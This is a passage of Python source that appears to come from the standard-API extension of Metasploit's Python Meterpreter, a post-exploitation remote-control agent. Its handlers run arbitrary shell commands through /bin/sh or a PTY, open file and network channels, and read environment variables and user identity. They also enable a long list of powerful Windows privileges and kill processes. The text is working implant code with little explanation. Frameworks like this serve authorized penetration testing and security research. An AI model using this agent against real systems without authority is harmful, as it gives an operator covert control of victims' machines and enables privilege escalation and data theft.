TLV_TYPE_TERMINAL_COLUMNS      = TLV_META_TYPE_UINT    | 2601

##
# Ui
##
TLV_TYPE_IDLE_TIME             = TLV_META_TYPE_UINT    | 3000
TLV_TYPE_KEYS_DUMP             = TLV_META_TYPE_STRING  | 3001

TLV_TYPE_DESKTOP               = TLV_META_TYPE_GROUP   | 3004
TLV_TYPE_DESKTOP_SESSION       = TLV_META_TYPE_UINT    | 3005
TLV_TYPE_DESKTOP_STATION       = TLV_META_TYPE_STRING  | 3006
TLV_TYPE_DESKTOP_NAME          = TLV_META_TYPE_STRING  | 3007

##
# Event Log
##
TLV_TYPE_EVENT_SOURCENAME      = TLV_META_TYPE_STRING  | 4000
TLV_TYPE_EVENT_HANDLE          = TLV_META_TYPE_QWORD   | 4001
TLV_TYPE_EVENT_NUMRECORDS      = TLV_META_TYPE_UINT    | 4002

TLV_TYPE_EVENT_READFLAGS       = TLV_META_TYPE_UINT    | 4003
TLV_TYPE_EVENT_RECORDOFFSET    = TLV_META_TYPE_UINT    | 4004

TLV_TYPE_EVENT_RECORDNUMBER    = TLV_META_TYPE_UINT    | 4006
TLV_TYPE_EVENT_TIMEGENERATED   = TLV_META_TYPE_UINT    | 4007
TLV_TYPE_EVENT_TIMEWRITTEN     = TLV_META_TYPE_UINT    | 4008
TLV_TYPE_EVENT_ID              = TLV_META_TYPE_UINT    | 4009
TLV_TYPE_EVENT_TYPE            = TLV_META_TYPE_UINT    | 4010
TLV_TYPE_EVENT_CATEGORY        = TLV_META_TYPE_UINT    | 4011
TLV_TYPE_EVENT_STRING          = TLV_META_TYPE_STRING  | 4012
TLV_TYPE_EVENT_DATA            = TLV_META_TYPE_RAW     | 4013

##
# Power
##
TLV_TYPE_POWER_FLAGS           = TLV_META_TYPE_UINT    | 4100
TLV_TYPE_POWER_REASON          = TLV_META_TYPE_UINT    | 4101

##
# Sys
##
PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0)
PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1)
PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2)
PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3)
PROCESS_EXECUTE_FLAG_SUBSHELL         = (1 << 6)
PROCESS_EXECUTE_FLAG_PTY              = (1 << 7)

PROCESS_ARCH_UNKNOWN = 0
PROCESS_ARCH_X86 = 1
PROCESS_ARCH_X64 = 2
PROCESS_ARCH_IA64 = 3

##
# Errors
##
ERROR_SUCCESS = 0
# not defined in original C implementation
ERROR_FAILURE = 1

ERROR_INSUFFICIENT_BUFFER = 0x0000007a
ERROR_NOT_SUPPORTED = 0x00000032
ERROR_NO_DATA = 0x000000e8

# Special return value to match up with Windows error codes for network
# errors.
ERROR_CONNECTION_ERROR = 10000

# Windows Constants
GAA_FLAG_SKIP_ANYCAST             = 0x0002
GAA_FLAG_SKIP_MULTICAST           = 0x0004
GAA_FLAG_INCLUDE_PREFIX           = 0x0010
GAA_FLAG_SKIP_DNS_SERVER          = 0x0080
LOCALE_SISO639LANGNAME            = 0x0059
LOCALE_SISO3166CTRYNAME           = 0x005A
PROCESS_TERMINATE                 = 0x0001
PROCESS_VM_READ                   = 0x0010
PROCESS_QUERY_INFORMATION         = 0x0400
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
VER_NT_WORKSTATION                = 0x0001
VER_NT_DOMAIN_CONTROLLER          = 0x0002
VER_NT_SERVER                     = 0x0003
VER_PLATFORM_WIN32s               = 0x0000
VER_PLATFORM_WIN32_WINDOWS        = 0x0001
VER_PLATFORM_WIN32_NT             = 0x0002

# Token Constants
TOKEN_ASSIGN_PRIMARY              = 0x0001
TOKEN_DUPLICATE                   = 0x0002
TOKEN_IMPERSONATE                 = 0x0004
TOKEN_QUERY                       = 0x0008
TOKEN_QUERY_SOURCE                = 0x0010
TOKEN_ADJUST_PRIVILEGES           = 0x0020
TOKEN_ADJUST_GROUPS               = 0x0040
TOKEN_ADJUST_DEFAULT              = 0x0080
TOKEN_ADJUST_SESSIONID            = 0x0100
TOKEN_ALL_ACCESS                  = 0xf01ff

# Privilege Constants
DISABLED                          = 0x0
SE_PRIVILEGE_ENABLED_BY_DEFAULT   = 0x1
SE_PRIVILEGE_ENABLED              = 0x2
SE_PRIVILEGE_REMOVED              = 0x4
SE_PRIVILEGE_USED_FOR_ACCESS      = 0x800000000

# Windows Access Controls
MAXIMUM_ALLOWED                   = 0x02000000

WIN_AF_INET  = 2
WIN_AF_INET6 = 23

UNIVERSAL_NAME_INFO_LEVEL = 1

DRIVE_REMOTE = 4

# Linux Constants
RT_TABLE_MAIN = 254
RTA_UNSPEC = 0
RTA_DST = 1
RTA_SRC = 2
RTA_IIF = 3
RTA_OIF = 4
RTA_GATEWAY = 5
RTA_PRIORITY = 6
RTA_PREFSRC = 7
RTA_METRICS = 8
RTA_MULTIPATH = 9
RTA_PROTOINFO = 10 #/* no longer used */
RTA_FLOW = 11
RTA_CACHEINFO = 12
RTA_SESSION = 13 #/* no longer used */
RTA_MP_ALGO = 14 #/* no longer used */
RTA_TABLE = 15
RTM_GETLINK   = 18
RTM_GETADDR   = 22
RTM_GETROUTE  = 26

IFLA_ADDRESS   = 1
IFLA_BROADCAST = 2
IFLA_IFNAME    = 3
IFLA_MTU       = 4

IFA_ADDRESS    = 1
IFA_LABEL      = 3

meterpreter.register_extension('stdapi')

# Meterpreter register function decorators
register_function = meterpreter.register_function
def register_function_if(condition):
    if condition:
        return meterpreter.register_function
    else:
        return lambda function: function

def byref_at(obj, offset=0):
    address = ctypes.addressof(obj) + offset
    return ctypes.pointer(type(obj).from_address(address))

def bytes_to_ctarray(bytes_):
    ctarray = (ctypes.c_byte * len(bytes_))()
    ctypes.memmove(ctypes.byref(ctarray), bytes_, len(bytes_))
    return ctarray

def calculate_32bit_netmask(bits):
    if bits == 32:
        netmask = 0xffffffff
    else:
        netmask = ((0xffffffff << (32 - (bits % 32))) & 0xffffffff)
    return struct.pack('!I', netmask)

def calculate_128bit_netmask(bits):
    part = calculate_32bit_netmask(bits)
    part = struct.unpack('!I', part)[0]
    if bits >= 96:
        netmask = struct.pack('!iiiI', -1, -1, -1, part)
    elif bits >= 64:
        netmask = struct.pack('!iiII', -1, -1, part, 0)
    elif bits >= 32:
        netmask = struct.pack('!iIII', -1, part, 0, 0)
    else:
        netmask = struct.pack('!IIII', part, 0, 0, 0)
    return netmask

def ctarray_to_bytes(ctarray):
    if not len(ctarray):
        # work around a bug in v3.1 & v3.2 that results in a segfault when len(ctarray) == 0
        return bytes()
    bytes_ = buffer(ctarray) if sys.version_info[0] < 3 else bytes(ctarray)
    return bytes_[:]

def ctstruct_pack(structure):
    return ctypes.string_at(ctypes.byref(structure), ctypes.sizeof(structure))

def ctstruct_unpack(structure, raw_data):
    if not isinstance(structure, ctypes.Structure):
        structure = structure()
    ctypes.memmove(ctypes.byref(structure), raw_data, ctypes.sizeof(structure))
    return structure

def get_stat_buffer(path):
    si = os.stat(path)
    rdev = 0
    if hasattr(si, 'st_rdev'):
        rdev = si.st_rdev
    st_buf = struct.pack('<III', int(si.st_dev), int(si.st_mode), int(si.st_nlink))
    st_buf += struct.pack('<IIIQ', int(si.st_uid), int(si.st_gid), int(rdev), long(si.st_ino))
    st_buf += struct.pack('<QQQQ', long(si.st_size), long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
    return st_buf

def get_token_user(handle):
    TokenUser = 1
    advapi32 = ctypes.windll.advapi32
    advapi32.OpenProcessToken.argtypes = [ctypes.c_void_p, ctypes.c_uint32, ctypes.POINTER(ctypes.c_void_p)]

    token_handle = ctypes.c_void_p()
    if not advapi32.OpenProcessToken(handle, TOKEN_QUERY, ctypes.byref(token_handle)):
        return None
    token_user_buffer = (ctypes.c_byte * 4096)()
    dw_returned = ctypes.c_uint32()
    result = advapi32.GetTokenInformation(token_handle, TokenUser, ctypes.byref(token_user_buffer), ctypes.sizeof(token_user_buffer), ctypes.byref(dw_returned))
    ctypes.windll.kernel32.CloseHandle(token_handle)
    if not result:
        return None
    return ctstruct_unpack(TOKEN_USER, token_user_buffer)

def get_username_from_token(token_user):
    user = (ctypes.c_char * 512)()
    domain = (ctypes.c_char * 512)()
    user_len = ctypes.c_uint32()
    user_len.value = ctypes.sizeof(user)
    domain_len = ctypes.c_uint32()
    domain_len.value = ctypes.sizeof(domain)
    use = ctypes.c_ulong()
    use.value = 0
    LookupAccountSid = ctypes.windll.advapi32.LookupAccountSidA
    LookupAccountSid.argtypes = [ctypes.c_void_p] * 7
    if not LookupAccountSid(None, token_user.User.Sid, user, ctypes.byref(user_len), domain, ctypes.byref(domain_len), ctypes.byref(use)):
        return None
    return str(ctypes.string_at(domain)) + '\\' + str(ctypes.string_at(user))

def get_windll_lang():
    if not hasattr(ctypes.windll.kernel32, 'GetSystemDefaultLangID'):
        return None
    kernel32 = ctypes.windll.kernel32
    kernel32.GetSystemDefaultLangID.restype = ctypes.c_uint16
    lang_id = kernel32.GetSystemDefaultLangID()

    size = kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO3166CTRYNAME, 0, 0)
    ctry_name = (ctypes.c_wchar * size)()
    kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO3166CTRYNAME, ctry_name, size)

    size = kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO639LANGNAME, 0, 0)
    lang_name = (ctypes.c_wchar * size)()
    kernel32.GetLocaleInfoW(lang_id, LOCALE_SISO639LANGNAME, lang_name, size)

    if not (len(ctry_name.value) and len(lang_name)):
        return 'Unknown'
    return lang_name.value + '_' + ctry_name.value

def get_windll_os_name():
    os_info = windll_RtlGetVersion()
    if not os_info:
        return None
    is_workstation = os_info.wProductType == VER_NT_WORKSTATION
    os_name = None
    if os_info.dwMajorVersion == 3:
        os_name = 'NT 3.51'
    elif os_info.dwMajorVersion == 4:
        if os_info.dwMinorVersion == 0 and os_info.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS:
            os_name = '95'
        elif os_info.dwMinorVersion == 10:
            os_name = '98'
        elif os_info.dwMinorVersion == 90:
            os_name = 'ME'
        elif os_info.dwMinorVersion == 0 and os_info.dwPlatformId == VER_PLATFORM_WIN32_NT:
            os_name = 'NT 4.0'
    elif os_info.dwMajorVersion == 5:
        if os_info.dwMinorVersion == 0:
            os_name = '2000'
        elif os_info.dwMinorVersion == 1:
            os_name = 'XP'
        elif os_info.dwMinorVersion == 2:
            os_name = '.NET Server'
    elif os_info.dwMajorVersion == 6:
        if os_info.dwMinorVersion == 0:
            os_name = ('Vista' if is_workstation else '2008')
        elif os_info.dwMinorVersion == 1:
            os_name = ('7' if is_workstation else '2008 R2')
        elif os_info.dwMinorVersion == 2:
            os_name = ('8' if is_workstation else '2012')
        elif os_info.dwMinorVersion == 3:
            os_name = ('8.1' if is_workstation else '2012 R2')
    elif os_info.dwMajorVersion == 10:
        if os_info.dwMinorVersion == 0:
            os_name = ('10' if is_workstation else '2016')

    if not os_name:
        os_name = 'Unknown'
    os_name = 'Windows ' + os_name
    if os_info.szCSDVersion:
        os_name += ' (Build ' + str(os_info.dwBuildNumber) + ', ' + os_info.szCSDVersion + ')'
    else:
        os_name += ' (Build ' + str(os_info.dwBuildNumber) + ')'
    return os_name

def getaddrinfo(host, port=0, family=0, socktype=0, proto=0, flags=0):
    addresses = []
    for info in socket.getaddrinfo(host, port, family, socktype, proto, flags):
        addresses.append({
            'family': info[0],
            'socktype': info[1],
            'proto': info[2],
            'cannonname': info[3],
            'sockaddr': info[4]
        })
    return addresses

def getaddrinfo_from_request(request, socktype, proto):
    peer_host = packet_get_tlv(request, TLV_TYPE_PEER_HOST).get('value')
    if peer_host:
        peer_port = packet_get_tlv(request, TLV_TYPE_PEER_PORT).get('value', 0)
        peer_address_info = getaddrinfo(peer_host, peer_port, socktype=socktype, proto=proto)
        peer_address_info = peer_address_info[0] if peer_address_info else None
    else:
        peer_address_info = None

    local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value')
    if local_host:
        local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT).get('value', 0)
        local_address_info = getaddrinfo(local_host, local_port, socktype=socktype, proto=proto)
        local_address_info = local_address_info[0] if local_address_info else None
    else:
        local_address_info = None
    return peer_address_info, local_address_info

def netlink_request(req_type, req_data):
    # See RFC 3549
    NLM_F_REQUEST    = 0x0001
    NLM_F_ROOT       = 0x0100
    NLM_F_MATCH      = 0x0200
    NLM_F_DUMP       = NLM_F_ROOT | NLM_F_MATCH
    NLMSG_ERROR      = 0x0002
    NLMSG_DONE       = 0x0003

    sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, socket.NETLINK_ROUTE)
    sock.bind((os.getpid(), 0))
    seq = int(time.time())
    if isinstance(req_data, ctypes.Structure):
        req_data = ctstruct_pack(req_data)
    nlmsg = ctstruct_pack(NLMSGHDR(len=ctypes.sizeof(NLMSGHDR) + len(req_data), type=req_type, flags=(NLM_F_REQUEST | NLM_F_DUMP), seq=seq, pid=0))
    sock.send(nlmsg + req_data)
    responses = []
    if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
        return responses
    raw_response_data = sock.recv(0xfffff)
    response = ctstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
    raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
    while response.type != NLMSG_DONE:
        if response.type == NLMSG_ERROR:
            debug_print('received NLMSG_ERROR from a netlink request')
            break
        response_data = raw_response_data[:(response.len - 16)]
        responses.append(response_data)
        raw_response_data = raw_response_data[len(response_data):]
        if not len(raw_response_data):
            if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
                break
            raw_response_data = sock.recv(0xfffff)
        response = ctstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
        raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
    sock.close()
    return responses

def resolve_host(hostname, family):
    address_info = getaddrinfo(hostname, family=family, socktype=socket.SOCK_DGRAM, proto=socket.IPPROTO_UDP)
    address = address_info[0]['sockaddr'][0]
    return {'family': family, 'address': address, 'packed_address': inet_pton(family, address)}

def tlv_pack_local_addrinfo(sock):
    local_host, local_port = sock.getsockname()[:2]
    return tlv_pack(TLV_TYPE_LOCAL_HOST, local_host) + tlv_pack(TLV_TYPE_LOCAL_PORT, local_port)

def windll_RtlGetVersion():
    if not has_windll:
        return None
    os_info = OSVERSIONINFOEXW()
    os_info.dwOSVersionInfoSize = ctypes.sizeof(OSVERSIONINFOEXW)
    if ctypes.windll.ntdll.RtlGetVersion(ctypes.byref(os_info)) != 0:
        return None
    return os_info

def windll_GetNativeSystemInfo():
    if not has_windll:
        return None
    sysinfo = SYSTEM_INFO()
    ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
    return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)

def windll_GetVersion():
    if not has_windll:
        return None
    dwVersion = ctypes.windll.kernel32.GetVersion()
    dwMajorVersion =  (dwVersion & 0x000000ff)
    dwMinorVersion = ((dwVersion & 0x0000ff00) >> 8)
    dwBuild        = ((dwVersion & 0xffff0000) >> 16)
    return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild))

def enable_privilege(name, enable=True):
    GetCurrentProcess = ctypes.windll.kernel32.GetCurrentProcess
    GetCurrentProcess.restype = ctypes.c_void_p

    OpenProcessToken = ctypes.windll.advapi32.OpenProcessToken
    OpenProcessToken.argtypes = [ctypes.c_void_p, ctypes.c_uint32, ctypes.POINTER(ctypes.c_void_p)]
    OpenProcessToken.restype = ctypes.c_bool

    LookupPrivilegeValue = ctypes.windll.advapi32.LookupPrivilegeValueW
    LookupPrivilegeValue.argtypes = [ctypes.c_wchar_p, ctypes.c_wchar_p, ctypes.POINTER(LUID)]
    LookupPrivilegeValue.restype = ctypes.c_bool

    AdjustTokenPrivileges = ctypes.windll.advapi32.AdjustTokenPrivileges
    AdjustTokenPrivileges.argtypes = [ctypes.c_void_p, ctypes.c_bool, PTOKEN_PRIVILEGES, ctypes.c_uint32, PTOKEN_PRIVILEGES, ctypes.POINTER(ctypes.c_uint32)]
    AdjustTokenPrivileges.restype = ctypes.c_bool

    token = ctypes.c_void_p()
    success = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token)
    if not success:
        return False

    luid = LUID()
    name = ctypes.create_unicode_buffer(name)
    success = LookupPrivilegeValue(None, name, luid)
    if not success:
        return False

    size = ctypes.sizeof(TOKEN_PRIVILEGES)
    size += ctypes.sizeof(LUID_AND_ATTRIBUTES)
    buffer = ctypes.create_string_buffer(size)
    tokenPrivileges = ctypes.cast(buffer, PTOKEN_PRIVILEGES).contents
    tokenPrivileges.PrivilegeCount = 1
    tokenPrivileges.get_array()[0].Luid = luid
    tokenPrivileges.get_array()[0].Attributes = SE_PRIVILEGE_ENABLED if enable else 0
    return AdjustTokenPrivileges(token, False, tokenPrivileges, 0, None, None)

@register_function
def channel_open_stdapi_fs_file(request, response):
    fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
    fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
    if fmode:
        fmode = fmode['value']
        fmode = fmode.replace('bb', 'b')
    else:
        fmode = 'rb'
    file_h = open(unicode(fpath), fmode)
    channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
    response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
    return ERROR_SUCCESS, response

@register_function
def channel_open_stdapi_net_tcp_client(request, response):
    peer_address_info, local_address_info = getaddrinfo_from_request(request, socktype=socket.SOCK_STREAM, proto=socket.IPPROTO_TCP)
    retries = packet_get_tlv(request, TLV_TYPE_CONNECT_RETRIES).get('value', 1)
    if not peer_address_info:
        return ERROR_CONNECTION_ERROR, response
    connected = False
    for _ in range(retries + 1):
        sock = socket.socket(peer_address_info['family'], peer_address_info['socktype'], peer_address_info['proto'])
        sock.settimeout(3.0)
        if local_address_info:
            sock.bind(local_address_info['sockaddr'])
        try:
            sock.connect(peer_address_info['sockaddr'])
            connected = True
            break
        except:
            pass
    if not connected:
        return ERROR_CONNECTION_ERROR, response
    channel_id = meterpreter.add_channel(MeterpreterSocketTCPClient(sock))
    response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
    response += tlv_pack_local_addrinfo(sock)
    return ERROR_SUCCESS, response

@register_function
def channel_open_stdapi_net_tcp_server(request, response):
    use_dual_stack = False
    local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '')
    local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)['value']
    if local_host:
        local_address_info = getaddrinfo(local_host, local_port, socktype=socket.SOCK_STREAM, proto=socket.IPPROTO_TCP, flags=socket.AI_NUMERICHOST)
        if not local_address_info:
            return ERROR_FAILURE, response
        local_address_info = local_address_info[0]
    else:
        local_address_info = {
            'family': socket.AF_INET6,
            'sockaddr': ('::', local_port, 0, 0)
        }
        use_dual_stack = hasattr(socket, 'IPV6_V6ONLY')
        debug_print('[*] no local host information, binding to all available interfaces...')
    server_sock = socket.socket(local_address_info['family'], socket.SOCK_STREAM, socket.IPPROTO_TCP)
    server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    if local_address_info['family'] == socket.AF_INET6 and use_dual_stack:
        server_sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
    server_sock.bind(local_address_info['sockaddr'])
    server_sock.listen(socket.SOMAXCONN)
    channel_id = meterpreter.add_channel(MeterpreterSocketTCPServer(server_sock))
    response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
    response += tlv_pack_local_addrinfo(server_sock)
    return ERROR_SUCCESS, response

@register_function
def channel_open_stdapi_net_udp_client(request, response):
    peer_address_info, local_address_info = getaddrinfo_from_request(request, socktype=socket.SOCK_DGRAM, proto=socket.IPPROTO_UDP)
    if not local_address_info:
        return ERROR_FAILURE, response
    sock = socket.socket(local_address_info['family'], local_address_info['socktype'], local_address_info['proto'])
    sock.bind(local_address_info['sockaddr'])
    peer_address = peer_address_info['sockaddr'] if peer_address_info else None
    channel_id = meterpreter.add_channel(MeterpreterSocketUDPClient(sock, peer_address))
    response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
    response += tlv_pack_local_addrinfo(sock)
    return ERROR_SUCCESS, response

@register_function
def stdapi_sys_config_getenv(request, response):
    for env_var in packet_enum_tlvs(request, TLV_TYPE_ENV_VARIABLE):
        pgroup = bytes()
        env_var = env_var['value']
        env_var = env_var.replace('%', '')
        env_var = env_var.replace('$', '')
        env_val = os.environ.get(env_var)
        if env_val:
            pgroup += tlv_pack(TLV_TYPE_ENV_VARIABLE, env_var)
            pgroup += tlv_pack(TLV_TYPE_ENV_VALUE, env_val)
            response += tlv_pack(TLV_TYPE_ENV_GROUP, pgroup)
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_sys_config_getsid(request, response):
    token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
    if not token:
        return error_result_windows(), response
    sid_str = ctypes.c_char_p()
    ConvertSidToStringSid = ctypes.windll.advapi32.ConvertSidToStringSidA
    ConvertSidToStringSid.argtypes = [ctypes.c_void_p, ctypes.c_void_p]
    if not ConvertSidToStringSid(token.User.Sid, ctypes.byref(sid_str)):
        return error_result_windows(), response
    sid_str = str(ctypes.string_at(sid_str))
    response += tlv_pack(TLV_TYPE_SID, sid_str)
    return ERROR_SUCCESS, response

@register_function
def stdapi_sys_config_getuid(request, response):
    if has_pwd:
        username = pwd.getpwuid(os.getuid()).pw_name
    elif has_windll:
        token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
        if not token:
            return error_result_windows(), response
        username = get_username_from_token(token)
        if not username:
            return error_result_windows(), response
    else:
        username = getpass.getuser()
    response += tlv_pack(TLV_TYPE_USER_NAME, username)
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_sys_config_getprivs(request, response):
    GetCurrentProcess = ctypes.windll.kernel32.GetCurrentProcess
    GetCurrentProcess.restype = ctypes.c_void_p

    advapi32 = ctypes.windll.advapi32
    OpenProcessToken = advapi32.OpenProcessToken
    OpenProcessToken.argtypes = [ctypes.c_void_p, ctypes.c_uint32, ctypes.POINTER(ctypes.c_void_p)]
    OpenProcessToken.restype = ctypes.c_bool

    LookupPrivilegeValue = advapi32.LookupPrivilegeValueW
    LookupPrivilegeValue.argtypes = [ctypes.c_wchar_p, ctypes.c_wchar_p, ctypes.POINTER(LUID)]
    LookupPrivilegeValue.restype = ctypes.c_bool

    AdjustTokenPrivileges = advapi32.AdjustTokenPrivileges
    AdjustTokenPrivileges.argtypes = [ctypes.c_void_p, ctypes.c_bool, PTOKEN_PRIVILEGES, ctypes.c_uint32, PTOKEN_PRIVILEGES, ctypes.POINTER(ctypes.c_uint32)]
    AdjustTokenPrivileges.restype = ctypes.c_bool

    token = ctypes.c_void_p()
    success = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, token)
    if not success:
        return error_result_windows(), response

    priv_list = [
        "SeAssignPrimaryTokenPrivilege",
        "SeAuditPrivilege",
        "SeBackupPrivilege",
        "SeChangeNotifyPrivilege",
        "SeCreatePagefilePrivilege",
        "SeCreatePermanentPrivilege",
        "SeCreateTokenPrivilege",
        "SeDebugPrivilege",
        "SeIncreaseBasePriorityPrivilege",
        "SeIncreaseQuotaPrivilege",
        "SeLoadDriverPrivilege",
        "SeLockMemoryPrivilege",
        "SeMachineAccountPrivilege",
        "SeProfileSingleProcessPrivilege",
        "SeRemoteShutdownPrivilege",
        "SeRestorePrivilege",
        "SeSecurityPrivilege",
        "SeShutdownPrivilege",
        "SeSystemEnvironmentPrivilege",
        "SeSystemProfilePrivilege",
        "SeSystemtimePrivilege",
        "SeTakeOwnershipPrivilege",
        "SeTcbPrivilege",
        "SeCreateGlobalPrivilege",
        "SeCreateSymbolicLinkPrivilege",
        "SeEnableDelegationPrivilege",
        "SeImpersonatePrivilege",
        "SeIncreaseWorkingSetPrivilege",
        "SeManageVolumePrivilege",
        "SeRelabelPrivilege",
        "SeSyncAgentPrivilege",
        "SeTimeZonePrivilege",
        "SeTrustedCredManAccessPrivilege",
        "SeDelegateSessionUserImpersonatePrivilege"
    ]
    for privilege in priv_list:
        luid = LUID()
        name = ctypes.create_unicode_buffer(privilege)
        success = LookupPrivilegeValue(None, name, luid)
        if success:
            size = ctypes.sizeof(TOKEN_PRIVILEGES)
            size += ctypes.sizeof(LUID_AND_ATTRIBUTES)
            buffer = ctypes.create_string_buffer(size)
            tokenPrivileges = ctypes.cast(buffer, PTOKEN_PRIVILEGES).contents
            tokenPrivileges.PrivilegeCount = 1
            tokenPrivileges.get_array()[0].Luid = luid
            tokenPrivileges.get_array()[0].Attributes = SE_PRIVILEGE_ENABLED
            if AdjustTokenPrivileges(token, False, tokenPrivileges, 0, None, None):
                response += tlv_pack(TLV_TYPE_PRIVILEGE, privilege)
    return ERROR_SUCCESS, response

@register_function
def stdapi_sys_config_localtime(request, response):
    localtime = time.strftime("%Y-%m-%d %H:%M:%S %Z", time.localtime())
    direction = "-" if time.timezone > 0 else "+"
    localtime += " (UTC{0}{1})".format(direction, int(abs(time.timezone / 36)))
    response += tlv_pack(TLV_TYPE_LOCAL_DATETIME, localtime)
    return ERROR_SUCCESS, response

@register_function
def stdapi_sys_config_sysinfo(request, response):
    uname_info = platform.uname()
    response += tlv_pack(TLV_TYPE_COMPUTER_NAME, uname_info[1])
    os_name = uname_info[0] + ' ' + uname_info[2] + ' ' + uname_info[3]
    lang = None
    if 'LANG' in os.environ:
        lang = os.environ['LANG'].split('.', 1)[0]
    if has_windll:
        os_name = get_windll_os_name() or os_name
        lang = (get_windll_lang() or lang)
    if lang:
        response += tlv_pack(TLV_TYPE_LANG_SYSTEM, lang)
    response += tlv_pack(TLV_TYPE_OS_NAME, os_name)
    response += tlv_pack(TLV_TYPE_ARCHITECTURE, get_system_arch())
    return ERROR_SUCCESS, response

@register_function
def stdapi_sys_process_close(request, response):
    proc_h_id = packet_get_tlv(request, TLV_TYPE_HANDLE)
    if not proc_h_id:
        return ERROR_SUCCESS, response
    proc_h_id = proc_h_id['value']
    if proc_h_id in meterpreter.processes:
        del meterpreter.processes[proc_h_id]
    if not meterpreter.close_channel(proc_h_id):
        return ERROR_FAILURE, response
    return ERROR_SUCCESS, response

@register_function
def stdapi_sys_process_execute(request, response):
    cmd = packet_get_tlv(request, TLV_TYPE_PROCESS_PATH)['value']
    raw_args = packet_get_tlv(request, TLV_TYPE_PROCESS_ARGUMENTS)
    if raw_args:
        raw_args = raw_args['value']
    else:
        raw_args = ""
    flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value']
    if len(cmd) == 0:
        return ERROR_FAILURE, response
    if os.path.isfile('/bin/sh') and (flags & PROCESS_EXECUTE_FLAG_SUBSHELL):
        if raw_args:
            cmd = cmd + ' ' + raw_args
        args = ['/bin/sh', '-c', cmd]
    else:
        args = [cmd]
        args.extend(shlex.split(raw_args))

    if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
        if has_pty and (flags & PROCESS_EXECUTE_FLAG_PTY):
            master, slave = pty.openpty()
            if has_termios:
                try:
                    settings = termios.tcgetattr(master)
                    termios.tcsetattr(master, termios.TCSADRAIN, settings)
                except:
                    pass
            proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0, preexec_fn=os.setsid)
            proc_h.stdin = os.fdopen(master, 'wb')
            proc_h.stdout = os.fdopen(master, 'rb')
            proc_h.stderr = open(os.devnull, 'rb')
            proc_h.ptyfd = slave
        else:
            proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            proc_h.echo_protection = True
        proc_h.start()
    else:
        proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    proc_h_id = meterpreter.add_process(proc_h)
    response += tlv_pack(TLV_TYPE_PID, proc_h.pid)
    response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id)
    if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
        channel_id = meterpreter.add_channel(MeterpreterProcess(proc_h))
        response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
    return ERROR_SUCCESS, response

@register_function
def stdapi_sys_process_getpid(request, response):
    response += tlv_pack(TLV_TYPE_PID, os.getpid())
    return ERROR_SUCCESS, response

@register_function
def stdapi_sys_process_kill(request, response):
    for pid in packet_enum_tlvs(request, TLV_TYPE_PID):
        pid = pid['value']
        if has_windll:
            k32 = ctypes.windll.kernel32
            proc_h = k32.OpenProcess(PROCESS_TERMINATE, False, pid)
            if not proc_h:
                return error_result_windows(), response
            if not k32.TerminateProcess(proc_h, 0):
                return error_result_windows(), response
        elif hasattr(os, 'kill'):
            os.kill(pid, 9)
        else:
            return ERROR_FAILURE, response
    return ERROR_SUCCESS, response

def stdapi_sys_process_get_processes_via_proc(request, response):
    for pid in os.listdir('/proc'):
        pgroup = bytes()
        if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
            continue
        cmdline_file = open(os.path.join('/proc', pid, 'cmdline'), 'rb')
        cmd = str(cmdline_file.read(512).replace(NULL_BYTE, bytes(' ', 'UTF-8')))
        status_data = str(open(os.path.join('/proc', pid, 'status'), 'rb').read())
        status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
        status = {}
